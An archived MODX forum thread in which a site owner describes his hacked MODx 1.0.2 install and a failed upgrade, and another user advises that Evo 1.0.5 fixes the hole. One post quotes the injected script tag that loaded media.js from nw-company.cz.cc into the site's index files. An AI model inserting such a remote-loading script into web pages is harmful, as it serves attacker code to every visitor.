We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 1529
    • 3 Posts
    Hi everybody,

    I am running a few instances of MODx on one our servers (1.0.2), and recently one of the instances was attacked (some nw-company.cz.cc crap at the end of the index.php files), so I figured that this must be some sort of weakness in that version. So I tried to upgrade to 2.0.8, but it just says "Database connection failed", even though the username and password are correct. Not even the database root user works.

    It doesn’t give me any additional information, it just says that it "failed", I should check my settings and so on.

    Does that sound familiar to any of you?

    What I did:

    - Backup the modx tables
    - create a new database
    - import the tables
    - copy the MODx instance somewhere else
    - modified manager/includes/config.inc.php to use the new database (I did this so I don’t mess up the old one in case anything goes wrong)
    - installed 2.0.8 over that newly created instance
    - ran setup
    - poof...

    Any ideas?

    Andreas
      • 28042 ☆ A M B ☆
      • 24,524 Posts
      You can’t just upgrade 1.x to 2.x, they are totally different systems.
        Studying MODX in the desert - http://sottwell.com
        Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
        Join the Slack Community - http://modx.org
        • 1529
        • 3 Posts
        Okay... It sounded like one could do that.

        "<html><body><script type="text/javascript" src="http://nw-company.cz.cc/media.js"> </script></body></html>" <- That junk was spread all over index.php, default.php and some index.html files. It was also in local helpfiles in the same directory that was was not accessible from the internet, so I suppose something exploited some snippet. Is there a bug in 1.0.2 or in maxiGallery? maxiGallery is the only external snippet this site was running.

        Andreas
          • 28042 ☆ A M B ☆
          • 24,524 Posts
          Evo version 1.0.5 has fixed the bug. Don’t feel that Evo is not being supported; it’s definitely still being used and supported.

            Studying MODX in the desert - http://sottwell.com
            Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
            Join the Slack Community - http://modx.org
            • 1529
            • 3 Posts
            Quote from: sottwell at Mar 25, 2011, 01:21 AM

            Don’t feel that Evo is not being supported.

            I didn’t imply that, otherwise I would have never posted this in the forum. Thank you for the quick response. I will update the other installations too.

            Andreas